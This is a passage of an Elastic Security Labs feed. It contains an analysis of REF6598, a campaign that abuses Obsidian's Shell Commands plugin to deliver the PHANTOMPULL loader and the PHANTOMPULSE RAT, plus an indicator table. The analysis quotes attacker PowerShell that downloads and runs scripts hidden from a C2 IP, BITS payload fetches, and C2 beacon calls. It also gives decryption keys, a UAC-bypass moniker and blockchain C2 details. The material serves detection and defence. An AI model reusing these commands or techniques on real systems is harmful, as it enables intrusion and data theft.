| <code>hVNBUORXNiFLhYYh</code> | mutex | Single instance | XOR-decrypted |
| <code>svcagent.dll</code> | file-name | Stub DLL | Persistence payload |
| <code>AssetMon</code> | directory | Stub DLL directory | %ProgramData% or %APPDATA% |
| <code>healthmon.exe</code> | file-name | Dropper | Original executable name |
| <code>diagcore.dll</code> | file-name | Legacy sideload DLL | Migrated by MigrateSideload |
| <code>.elevate</code> | file-name | Elevation marker | Routes the elevated relaunch |
| <code>DotNetSvcUpdateTask</code> | scheduled-task | Primary persistence | 3-min interval |
| <code>DotNetSvcCoreTask</code> | scheduled-task | SYSTEM persistence | 15-min, hidden |
| <code>DotNetSvcUserTask</code> | scheduled-task | User persistence | Logon trigger |
| <code>EdgeWebViewUpdateTask</code> | scheduled-task | Legacy task | Cleaned during uninstall |
| <code>\Microsoft\Windows\NetFramework\DotNetSvcCoreTask</code> | task-uri | Boot task path | Hidden scheduled task |
| <code>Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}</code> | com-moniker | UAC bypass | Elevated ITaskService |
| <code>0x666[.]info</code> | domain | macOS C2 | macOS dropper |
| <code>t[.]me/ax03bot</code> | url | Telegram fallback | macOS C2 dead-drop |
| <code>thoroughly-publisher-troy-clara[.]trycloudflare[.]com</code> | domain | Prior C2 | Cloudflare Tunnel |</p>
<h2 id="references">References</h2>
<p>Prior reporting and toolkits referenced in this analysis:</p>
<ul>
<li><a href="https://www.elastic.co/security-labs/phantom-in-the-vault">Phantom in the vault: Obsidian abused to deliver PhantomPulse RAT</a>  </li>
<li><a href="https://eth.blockscout.com/">Blockscout Ethereum Explorer</a>  </li>
<li><a href="https://cloud.google.com/blog/topics/threat-intelligence/dprk-adopts-etherhiding">DPRK Adopts EtherHiding</a>  </li>
<li><a href="https://unit42.paloaltonetworks.com/north-korean-threat-actors-lure-tech-job-seekers-as-fake-recruiters/">Contagious Interview / fake-recruiter targeting of crypto-sector developers</a>  </li>
<li><a href="https://unit42.paloaltonetworks.com/macos-malware-targets-crypto-sector/">RustDoor and Koi Stealer for macOS</a>  </li>
<li><a href="https://blog.talosintelligence.com/beavertail-and-ottercookie/">BeaverTail and OtterCookie evolution</a>  </li>
<li><a href="https://github.com/dis0rder0x00/DbgNexum">DbgNexum proof-of-concept</a>  </li>
<li><a href="https://github.com/hfiref0x/UACME/issues/129">UACME issue #129: schuac UAC bypass</a>  </li>
<li><a href="https://www.elastic.co/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies">Exploring Windows UAC Bypasses</a>  </li>
<li><a href="https://rastamouse.me/memory-patching-amsi-bypass/">Memory Patching AMSI Bypass</a></li>
</ul>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/blockchain-c2-phantompulse-rat-sinkhole</link>
    <guid isPermaLink="false">blockchain-c2-phantompulse-rat-sinkhole</guid>
    <category><![CDATA[Malware Analysis]]></category>
    <dc:creator><![CDATA[Salim Bitam]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta86a3ca6c2333c09/6a7c7a004c4bfbe645cc77cd/blockchain-c2-phantompulse-rat-sinkhole.webp" length="0" type="image/webp"/>
    <pubDate>Fri, 22 May 2026 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Phantom in the vault: Obsidian abused to deliver PhantomPulse RAT]]></title>
    <description><![CDATA[Elastic Security Labs uncovers a novel social engineering campaign that abuses the popular note-taking application, Obsidian's legitimate community plugin ecosystem. The campaign, which we track as REF6598, targets individuals in the financial and cryptocurrency sectors through elaborate social engineering on LinkedIn and Telegram.]]></description>
    <content:encoded><![CDATA[<blockquote>
  <p>If you're interested in a deeper technical analysis of PHANTOMPULSE itself, covering its injection engines, persistence internals, and C2 protocol in greater detail, check out this follow-on <a href="https://www.elastic.co/security-labs/threat-command/blockchain-c2-phantompulse-rat-sinkhole">analysis of the PHANTOMPULSE malware</a>.</p>
</blockquote>
<h2 id="preamble">Preamble</h2>
<p>Elastic Security Labs has identified a novel social engineering campaign that abuses the popular note-taking application, <a href="https://obsidian.md/">Obsidian</a>, as an initial access vector. The campaign, which we track as REF6598, targets individuals in the financial and cryptocurrency sectors through elaborate social engineering on LinkedIn and Telegram. The threat actors abuse Obsidian's legitimate community plugin ecosystem, specifically the <a href="https://github.com/Taitava/obsidian-shellcommands">Shell Commands</a> and <a href="https://github.com/kepano/obsidian-hider">Hider</a> plugins, to silently execute code when a victim opens a shared cloud vault.</p>
<p>In the observed intrusion, Elastic Defend detected and blocked the attack at the early stage, preventing the threat actors from achieving their objectives on the victim's machine.</p>
<p>The attack chain is cross-platform, with dedicated execution paths for both Windows and macOS. On Windows, an intermediate loader decrypts and reflectively loads payloads entirely in memory using AES-256-CBC, timer queue callback execution, and multiple anti-analysis techniques. The chain culminates in the deployment of a previously undocumented RAT we are naming <strong>PHANTOMPULSE</strong>, a heavily AI-generated, full-featured backdoor with blockchain-based C2 resolution, advanced process injection via module stomping. On macOS, the attack deploys an obfuscated AppleScript dropper with a Telegram-based fallback C2 resolution mechanism.</p>
<p>This post will detail the full attack chain, from social engineering through final payload analysis, and provide detection guidance and indicators of compromise.</p>
<h2 id="keytakeaways">Key takeaways</h2>
<ul>
<li>PHANTOMPULSE is a novel, AI-assisted Windows RAT featuring blockchain-based C2 resolution via Ethereum transaction data and distinct injection techniques  </li>
<li>We identified a weakness in the C2 mechanism that allows for a takeover of the implants by responders  </li>
<li>Obsidian was abused for initial access social engineering attack  </li>
<li>Cross-platform attack chain targeting both Windows and macOS  </li>
<li>The macOS payload uses a multi-stage AppleScript dropper with a Telegram dead-drop for fallback C2 resolution  </li>
<li>PHANTOMPULL is a custom in-memory loader that delivers PHANTOMPULSE</li>
</ul>
<h2 id="campaignoverview">Campaign overview</h2>
<p>The threat actors operate under the guise of a venture capital firm, initiating contact with targets through LinkedIn. After initial engagement, the conversation moves to a Telegram group where multiple purported partners participate, lending credibility to the interaction. The discussion centers around financial services, specifically cryptocurrency liquidity solutions, creating a plausible business context.</p>
<p>The target is asked to use <a href="https://obsidian.md/">Obsidian</a>, presented as the firm's "management database", for accessing a shared dashboard. The target is provided credentials to connect to a cloud-hosted vault controlled by the attacker.</p>
<p>This vault is the initial access vector. Once opened in Obsidian, the target is instructed to enable community plugins sync. After that, the trojanized plugins silently execute the attack chain.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt88d7d9923be99c7f/6a7c90a7bd21980a77752523/image16.png" alt="Execution chain diagram" title="Execution chain diagram" /></p>
<h2 id="initialaccess">Initial access</h2>
<p>An Elastic Defend behavior alert triggered on suspicious PowerShell execution with Obsidian as the parent process. This immediately caught our attention. Initially, we suspected an untrusted binary masquerading as Obsidian. However, after inspecting the parent process code signature and hash, it appeared to be the legitimate Obsidian binary.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4296d6114ce290d2/6a7c90aafc63abb123647235/image38.png" alt="Process visualization with Elastic XDR" title="Process visualization with Elastic XDR" /></p>
<p>Pivoting on the process event call stack to determine whether a third-party DLL sideload or unbacked memory region was involved, we confirmed that the process creation originated directly from Obsidian itself.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb5c719f4a11d717f/6a7c90ae227b1cee90592967/image30.png" alt="Elastic alert document showcasing the call stack" title="Elastic alert document showcasing the call stack" /></p>
<p>We then investigated the surrounding files for signs of JavaScript injection via modification of dependency files or malicious .asar file planting. Everything appeared to be a clean, legitimate Obsidian installation with no third-party code. At that point, we decided to install Obsidian ourselves and explore what options an attacker could abuse to achieve command execution.</p>
<p>The first thing that stood out was the ability to log in to an Obsidian-synced vault with an email and password.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4e365a3a783eae43/6a7c90b0e02fac6b985d07b7/image14.png" alt="Obsidian menu to open a remote vault" title="Obsidian menu to open a remote vault" /></p>
<p>Obsidian's vault sync feature allows notes and files to be synchronized across devices and platforms. While reviewing the files of the malicious remote vault under the .obsidian config folder, we found evidence that the Shell Commands community plugin had been installed:</p>
<pre><code>C:\Users\user\Documents\&lt;redacted_vault_name&gt;\.obsidian\plugins\obsidian-shellcommands\data.json
</code></pre>
<p>The <a href="https://publish.obsidian.md/shellcommands/Index">Shell Commands plugin</a> allows users to execute platform-specific shell commands based on configurable triggers such as Obsidian startup, close, every N seconds, and others. </p>
<p>The contents of data.json confirmed our theory: the configured commands matched exactly what we had observed in the original PowerShell behavior alert.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6ea6880ce17d4aa7/6a7c90b305b7b5064c185cff/image36.png" alt="Data.json content of the shell plugin" title="Data.json content of the shell plugin" /></p>
<p>To validate the full attack chain, we attempted to replicate the behavior end-to-end across two machines, a host and a VM using a paid Obsidian Sync license. On the host, we installed the Shell Commands community plugin with a custom command configured to spawn <code>notepad.exe</code> on startup. On the VM, we logged in to the same Obsidian account and connected to the remote vault.</p>
<p>The synced vault on the VM received the base configuration files (<code>app.json</code>, <code>appearance.json</code>, <code>core-plugins.json</code>, <code>workspace.json</code>), but notably the <code>plugins/</code> directory and <code>community-plugins.json</code> were absent entirely. This is because Obsidian's Sync settings expose two separate toggles "Active community plugin list" and "Installed community plugins" both of which are disabled by default and are local client-side preferences that do not propagate through sync. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltcd5793ad3a3dc3a6/6a7c90b6ead8eca2f0ba4bce/image37.png" alt="Obsidian settings" title="Obsidian settings" /></p>
<p>As shown below, the plugins and community_plugins manifest are not synced automatically (any file inside the .obsidian directory).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6ea3bfbdf260a370/6a7c90b996b5a6c8db875838/image2.png" alt=".obsidian folder content" title=".obsidian folder content" /></p>
<p>However, once enabled, the Shell Commands plugin immediately triggers execution of attacker-defined commands on vault open: </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5708e69b8f8f238e/6a7c90bd73d9bd3eee297eb0/image20.png" alt="Process tree" title="Process tree" /></p>
<p>This means an attacker cannot remotely force the installation or enablement of a community plugin via vault sync alone. The victim must manually enable the community plugin sync on their device before the weaponized plugin configuration pulls down and triggers execution.</p>
<p>In the case we investigated, the attacker provided Obsidian account credentials directly to the victim as part of a social engineering lure, likely instructing them to log in, enable community plugin sync, and connect to the pre-staged vault. Once those steps were completed, the Shell Commands plugin and its data.json configuration synced automatically, and on the next configured trigger, the payload executed without any further interaction.</p>
<p>While this attack requires social engineering to cross the community plugin sync boundary, the technique remains notable: it abuses a legitimate application feature as a persistence and command execution channel, the payload lives entirely within JSON configuration files that are unlikely to trigger traditional AV signatures, and execution is handed off by a signed, trusted Electron application, making parent-process-based detection the critical layer.</p>
<p>Alongside the Shell Commands plugin, the author used <a href="https://github.com/kepano/obsidian-hider">Hider</a> (v1.6.1), a UI-cleanup plugin that hides interface elements. With every concealment option enabled, the following is the configuration:</p>
<pre><code>{
  "hideStatus": true,
  "hideTabs": true,
  "hideScroll": true,
  "hideSidebarButtons": true,
  "hideTooltips": true,
  "hideFileNavButtons": true,
}
</code></pre>
<h3 id="windowsexecutionchain">Windows execution chain</h3>
<h4 id="stage1">Stage 1</h4>
<p>The Shell Commands plugin's Windows command contained two <code>Invoke-Expression</code> calls with Base64-encoded strings that decode to the following:</p>
<pre><code>iwr http://195.3.222[.]251/script1.ps1 -OutFile env:TEMP\tt.ps1 -UseBasicParsing powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "env:TEMP\tt.ps1"
</code></pre>
<p>This will download a second-stage PowerShell script from a hardcoded IP address and execute it.</p>
<h4 id="stage2">Stage 2</h4>
<p>The downloaded PowerShell script (<code>script1.ps1</code>) implements a loader-delivery mechanism with a built-in operator-notification system. The script uses <code>BitsTransfer</code> to download the next-stage binary and reports its progress to the C2.</p>
<pre><code>Import-Module BitsTransfer
Start-BitsTransfer -Source 'http://195.3.222[.]251/syncobs.exe?q=%23OBSIDIAN' `
  -Destination "$env:TEMP\syncobs.exe"
</code></pre>
<p>After the download, the script verifies the file's existence and reports the outcome to the C2 at <code>195.3.222[.]251/stuk-phase</code>. It appears that the prepended characters (<code>G</code>, <code>R</code>) to the Status Message, declaring <code>G</code>REEN or <code>R</code>ED as a status color code. The following is a table of all the status messages:</p>
<p>| Status Message | Meaning |
| :---: | :---: |
| <code>GFILE FOUND ON PC</code> | Binary downloaded successfully |
| <code>RDOWNLOAD ERROR</code> | Download failed, retrying |
| <code>RFATAL DOWNLOAD ERROR</code> | Download failed after retry |
| <code>GLAUNCH SUCCESS</code> | Binary executed and child processes detected |
| <code>RLAUNCH FAILED</code> | Binary failed to start within the timeout |
| <code>GSESSION CLOSED</code> | Execution sequence completed |</p>
<p>The <code>tag</code> parameter (<code>Obsidian</code>) sent with each status update identifies the campaign or infection vector, suggesting the operators might be running multiple concurrent campaigns.</p>
<pre><code>if ($started) {
    Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "GLAUNCH SUCCESS"; tag = $tag }
} else {
    Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "RLAUNCH FAILED"; tag = $tag }
}
Start-Sleep -Seconds 3

Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "GSESSION CLOSED"; tag = $tag }
</code></pre>
<h4 id="loaderphantompull">Loader - PHANTOMPULL</h4>
<p>This loader is a 64-bit Windows PE executable that extracts an AES-256-CBC-encrypted PE payload from its own resources, decrypts it, and reflectively loads it into memory. This in-memory payload then downloads the next stage from the domain (<code>panel.fefea22134[.]net</code>) over HTTPS.</p>
<p>The third-stage payload (PHANTOMPULSE) is then decrypted and loaded reflectively via <code>DllRegisterServer</code>. This loader, which we are calling PHANTOMPULL, includes runtime API resolution and timer-queue-based execution. This sample includes minor forms of evasion/obfuscation, along with dead code; these techniques are used as an anti-analysis trick to waste the analyst's time investigating the malware.</p>
<h3 id="executionflow">Execution Flow</h3>
<h4 id="stage1-1">Stage 1</h4>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt59ccf7e30721da62/6a7c90c04c4bfb5594cc7b49/image25.png" alt="Execution flow via Stage 1" title="Execution flow via Stage 1" /></p>
<h4 id="stage2-1">Stage 2</h4>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb3385de3069d02d4/6a7c90c3c33f4fc57fd54d10/image29.png" alt="Execution flow via Stage 2" title="Execution flow via Stage 2" /></p>
<h3 id="fakeintegritycheck">Fake Integrity Check</h3>
<p>The loader begins with a strange start using a dead-code guard that compares <code>GetTickCount()</code> against the hex value (<code>0xFFFFFFFE</code>) — a value that corresponds to approximately 49.7 days of continuous system uptime, making the condition virtually unreachable. The guarded block contains convincing but unreachable anti-tamper functions designed to waste analysts' time during reverse engineering.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte12caba1fb03cbb2/6a7c90c633fa8a03b61fcc1a/image23.png" alt="Fake Integrity check" title="Fake Integrity check" /> </p>
<p>The  <code>anti_tamper_integrity_checksum()</code> function is also pretty strange; it doesn’t actually hash any of the underlying bytes, but sums all the function addresses in the binary. The checksum is never compared to anything; this is likely an intended anti-analysis technique to waste analyst time and bloat the binary.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt006337742d82de1a/6a7c90c9fc63abfb0a64723d/image1.png" alt="Integrity check summing up the function addresses" title="Integrity check summing up the function addresses" /></p>
<h3 id="apihashing">API Hashing</h3>
<p>This loader resolves API functions dynamically at runtime using the <code>djb2</code> hashing algorithm with seed <code>0x4E67C6A7</code>. The following APIs were resolved:</p>
<ul>
<li><code>VirtualAlloc</code>  </li>
<li><code>VirtualProtect</code>  </li>
<li><code>VirtualFree</code>  </li>
<li><code>LoadLibraryA</code>  </li>
<li><code>GetProcessAddress</code></li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltaf15e2a83538f780/6a7c90cc3ce8e2e306cef9c1/image40.png" alt="Resolving API addresses" title="Resolving API addresses" /></p>
<h3 id="resourceextractiondecryption">Resource Extraction + Decryption</h3>
<p>PHANTOMPULL stores its encrypted in-memory payload inside its own resources. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt40b0ef76a613d79c/6a7c90ce2f00b2e3a3ef911d/image42.png" alt="RCDATA 101 via Resource Hacker" title="RCDATA 101 via Resource Hacker" /> </p>
<p>In order to extract the bytes, it uses <code>FindResourceA,</code> locating the resource type (<code>RT_RCDATA</code>) under ID (<code>101</code>). The resource is mapped into memory and copied into a region marked with <code>PAGE_READWRITE</code> permissions.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3b795b79fdca5174/6a7c90d1c33f4fe923d54d16/image33.png" alt="Resource Extraction" title="Resource Extraction" /></p>
<p>Next, the loader performs AES-256-CBC decryption using <code>BCryptOpenAlgorithmProvider</code>. The key is hardcoded in the <code>.rdata</code> section </p>
<p><strong>Key:</strong>  <code>6a85736b64761a8b2aaeadc1c0087e1897d16cc5a9d49c6a6ea1164233bad206</code></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltec665bb069f8a1b9/6a7c90d42f00b26824ef9121/image27.png" alt="Embedded AES-256-CBC key" title="Embedded AES-256-CBC key" /></p>
<p>The IV is also hard-coded on the stack: <code>A6FA4ADFC20E8E6B77E2DD631DC8FF18</code><br />
<img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt01e03a5e4a58803a/6a7c90d78fc2d021e63e8b6a/image7.png" alt="Bcrypt Crypto Details" title="Bcrypt Crypto Details" /></p>
<p>After decryption, the loader validates the output is a valid PE by checking the MZ header magic value with a comparison instruction using a hard-coded value (<code>0x0C1DF</code>) that gets XOR’d with (<code>0x9B92</code>), equaling the PE magic header (0x5a4d). This is an example of some of the lightweight obfuscation efforts that often seem awkward and don't fit in. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte772d190b097e0a3/6a7c90dafc63abd68b647245/image4.png" alt="Magic Header XOR calculation" title="Magic Header XOR calculation" /></p>
<h3 id="execution">Execution</h3>
<p>Rather than calling the payload directly (which is easily detected by sandboxes), the loader uses a timer queue callback. The 50ms delay and separate-thread execution can evade various security/sandbox tooling. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4b943ac5b664f531/6a7c90ddb43770a64c4d12a6/image9.png" alt="CreateTimerQueue functionality" title="CreateTimerQueue functionality" /> </p>
<p>Inside the callback is the reflective PE-loading functionality, which is then used to execute the next stage.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf1f13e37f4363c17/6a7c90dfbd2198fe2175252f/image11.png" alt="Timer callback calling reflective PE loader" title="Timer callback calling reflective PE loader" /></p>
<p>This reflective loading function is the core execution component. It copies the PE headers, maps each section into memory, applies base relocations, resolves imports, and sets the final section protections — producing a fully functional, memory-resident PE that never touches disk. </p>
<p>Execution is then transferred to the second stage via an indirect <code>call rbp</code> instruction, where RBP holds the computed entry point address of the reflectively loaded PE. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9f44e0e87e7de586/6a7c90e2448e4e11605bae5b/image26.png" alt="Indirect call to second stage" title="Indirect call to second stage" /></p>
<h3 id="secondstage">Second Stage</h3>
<p>The second stage is responsible for downloading the remotely hosted payload (PHANTOMPULSE) and for using a similar reflective-loading technique to launch the implant. This stage starts by creating a mutex from an XOR operation with two hard-coded global variables.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte88a9f70ef77cbd9/6a7c90e4c33f4f3cc9d54d1e/image6.png" alt="Mutex generation via XOR" title="Mutex generation via XOR" /></p>
<p>The mutex name for this sample is: <code>hVNBUORXNiFLhYYh</code></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbbf9a2e4977dc603/6a7c90e742a1171e239563b7/image28.png" alt="Observed Mutex" title="Observed Mutex" /></p>
<p>After the mutex is created, this code enters a persistent loop that attempts to download the payload from the C2 server. If the download successfully returns a valid buffer, it breaks out and proceeds to the reflective loading stage. </p>
<p>On failure, the code employs an exponential backoff — starting with a 5-second sleep and multiplying by 1.5x on each retry, capping just under 5 minutes. This avoids a fixed beacon interval that would be trivially fingerprinted in network traffic.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1164b8c75a61754f/6a7c90ea73d9bd4e78297eba/image22.png" alt="Download and timeout functionality" title="Download and timeout functionality" /></p>
<p>The downloader functionality starts by decrypting the C2 and URL.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt838ccaecd229fd85/6a7c90ec9f525154816642d0/image35.png" alt="C2 and URL decryption functions" title="C2 and URL decryption functions" /></p>
<p>The C2 and URL are both decrypted using a simple string decryption function using a 16-byte rotating key (<code>f77c8e40dfc17be5e74d8679d5b35341</code>).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb4a5bccc2a825782/6a7c90ef9f52519d886642d4/image5.png" alt="XOR String decryption function" title="XOR String decryption function" />  </p>
<p>Next, the malware builds the HTTPS request, appending the string using the URI <code>/v1/updates/check?build=payloads</code> and setting the User Agent (<code>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36</code>). This loader uses the WinHTTP library to connect to the C2 on port <code>443</code>.  </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb7b804cf8b3f6bf4/6a7c90f2ead8ec058aba4be6/image34.png" alt="WinHTTP functionality used to download PHANTOMPULSE" title="WinHTTP functionality used to download PHANTOMPULSE" /></p>
<p>The malware takes the buffer from the remote C2 URL and decrypts the payload with a 16-byte XOR key (<code>dcf5a9b27cbeedb769ccc8635d204af9</code>)</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfecbe73936fb495e/6a7c90f505b7b53497185d05/image19.png" alt="Payload Decryption via XOR" title="Payload Decryption via XOR" /></p>
<p>Below are the first bytes of the XOR-encoded payload:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt840ff85645ca6778/6a7c90f8b43770b4cd4d12ae/image24.png" alt="Payload bytes before the XOR" title="Payload bytes before the XOR" /></p>
<p>Below are the first bytes after the XOR takes place:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltde20ad8c4729182e/6a7c90fac2cc095cab24366c/image3.png" alt="Payload bytes after the XOR" title="Payload bytes after the XOR" /></p>
<p>After the download and XOR operations, PHANTOMPULL parses the payload and reflects the DLL using <code>DLLRegisterServer</code>.</p>
<p>By quickly checking the strings, we can see the main backdoor, PHANTOMPULSE:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9ea05a94038b0775/6a7c90fee88c6535ef005afb/image18.png" alt="PHANTONPULSE Implant strings" title="PHANTONPULSE Implant strings" /></p>
<h3 id="ratphantompulse">RAT - PHANTOMPULSE</h3>
<p>PHANTOMPULSE is a sophisticated 64-bit Windows RAT designed for stealth, resilience, and comprehensive remote access. The binary exhibits strong indicators of AI-assisted development: Debug strings throughout the code are abnormally verbose, self-documenting, and follow a structured step-numbering pattern (<code>[STEP 1]</code>, <code>[STEP 1/3]</code>, <code>[STEP 2/3]</code>)</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte348aebc75a4f3ec/6a7c91003ce8e294a5cef9d1/image13.png" alt="PHANTOMPULSE implant or strings view" title="PHANTOMPULSE implant or strings view" /></p>
<p>During our research, we discovered that the C2 infrastructure had a publicly exposed panel branded as <code>“Phantom Panel"</code>, featuring a login page with username, password, and captcha fields. The panel's design and structure suggest it was also AI-generated, consistent with the development patterns observed in the RAT itself.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2eb74891b62eee51/6a7c9104bdcff0e23dc3d34e/image15.png" alt="Malware panel" title="Malware panel" /></p>
<h4 id="c2rotationthroughblockchain">C2 rotation through blockchain</h4>
<p>PHANTOMPULSE implements a decentralized C2 resolution mechanism using public blockchain infrastructure as a dead drop. The malware's primary method for obtaining its C2 URL is by resolving it from on-chain transaction data. A hardcoded C2 URL serves as a fallback if the blockchain resolution fails after repeated attempts.</p>
<p>The malware queries the Etherscan-compatible API (<code>/api?module=account&amp;action=txlist&amp;address=&lt;wallet&gt;&amp;page=1&amp;offset=1&amp;sort=desc</code>) on three Blockscout instances:</p>
<ul>
<li><code>eth.blockscout[.]com</code> (Ethereum L1)  </li>
<li><code>base.blockscout[.]com</code> (Base L2)  </li>
<li><code>optimism.blockscout[.]com</code> (Optimism L2)</li>
</ul>
<p>Each request fetches the most recent transaction associated with a hardcoded wallet address (<code>0xc117688c530b660e15085bF3A2B664117d8672aA</code>), which is itself XOR-encrypted in the binary. The malware parses the transaction's <code>input</code> data field from the JSON response, strips the <code>0x</code> prefix, hex-decodes the raw bytes, and XOR-decrypts the result using the wallet address as the XOR key. If the decrypted output begins with <code>http</code>, it is accepted as the new active C2 URL.</p>
<p>This technique provides the operator with an infrastructure-agnostic rotation capability: publishing a new C2 endpoint requires only submitting a transaction with crafted calldata to the wallet on any of the three monitored chains. Because blockchain transactions are immutable and publicly accessible, the malware can always locate its C2 without relying on centralized infrastructure. The use of three independent chains adds redundancy: even if one chain's explorer is blocked or unavailable, the remaining two provide alternative resolution paths.</p>
<p>However, this design introduces a significant weakness. The Blockscout API returns all transactions involving the wallet address, both sent and received, sorted in reverse chronological order. The malware does not verify the sender of the transaction. This means any third party who knows the wallet address and the XOR key (both recoverable from the binary) can craft a transaction to the wallet containing a competing input payload. Because the malware always selects the most recent transaction, a single inbound transaction with a more recent timestamp would override the operator's intended C2 URL. In practice, this allows anyone to hijack the C2 resolution by submitting a sinkhole URL encoded with the same XOR scheme, effectively redirecting all infected hosts away from the attacker infrastructure.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt440748952e62235a/6a7c91078fc2d05cd23e8b7c/image21.png" alt="Wallet transaction example" title="Wallet transaction example" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0ff4a1c2504438ed/6a7c910a73d9bd1421297ebe/image41.png" alt="Xor decrypting the raw input" title="Xor decrypting the raw input" /></p>
<h4 id="c2communication">C2 communication</h4>
<p>PHANTOMPULSE uses WinHTTP for C2 communication, dynamically loading <code>winhttp.dll</code> and resolving all required functions at runtime. The C2 infrastructure is built around five API endpoints:</p>
<p>| Endpoint | Method | Purpose |
| ----- | ----- | ----- |
| <code>/v1/telemetry/report</code> | POST | Heartbeat with system telemetry |
| <code>/v1/telemetry/tasks/&lt;id&gt;</code> | GET | Command fetch |
| <code>/v1/telemetry/upload/</code> | POST | Screenshot/file upload |
| <code>/v1/telemetry/result</code> | POST | Command result delivery |
| <code>/v1/telemetry/keylog/</code> | POST | Keylog data upload |</p>
<p>The heartbeat sends comprehensive system telemetry as JSON, including CPU model, GPU, RAM, OS version, username, privilege level, public IP, installed AV products, installed applications, and the results of the last command execution.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt444d1811a45b25e6/6a7c910dbdcff05c36c3d352/image31.png" alt="System information collection" title="System information collection" /></p>
<h4 id="commandtable">Command table</h4>
<p>The command dispatcher parses JSON responses from the C2 to extract and hash commands via the <code>djb2</code> algorithm. This hash is processed by a switch-case statement to execute the corresponding logic, as seen in the pseudocode below:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt75f211922ea9258a/6a7c9110448e4e0ff05bae69/image32.png" alt="Pseudocode command dispatcher" title="Pseudocode command dispatcher" /></p>
<p>| Hash | Command | Action |
| ----- | ----- | ----- |
| <code>0x04CF1142</code> | <code>inject</code> | Inject shellcode/DLL/EXE into target process |
| <code>0x7C95D91A</code> | <code>drop</code> | Drop the file to the disk and execute |
| <code>0x9A37F083</code> | <code>screenshot</code> | Capture and upload a screenshot |
| <code>0x08DEDEF0</code> | <code>keylog</code> | Start/stop keylogger |
| <code>0x4EE251FF</code> | <code>uninstall</code> | Full persistence removal and cleanup |
| <code>0x65CCC50B</code> | <code>elevate</code> | Escalate to SYSTEM via COM elevation moniker |
| <code>0xB3B5B880</code> | <code>downgrade</code> | SYSTEM -&gt; elevated admin transition |
| <code>0x20CE3BC8</code> | <code>&lt;unresolved&gt;</code> | Resolves APIs, calls ExitProcess(0) self-termination |</p>
<h3 id="macosexecutionchain">MacOS execution chain</h3>
<h4 id="stage1applescriptviaosascript">Stage 1: AppleScript via osascript</h4>
<p>The Shell commands plugin's macOS command executes a Base64-encoded payload through <code>osascript</code>. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9dde5b360fb6bbb3/6a7c91138fc2d08b0e3e8b82/image10.png" alt="MacOS stage 1 payload" title="MacOS stage 1 payload" /></p>
<p>The decoded payload performs two primary actions:</p>
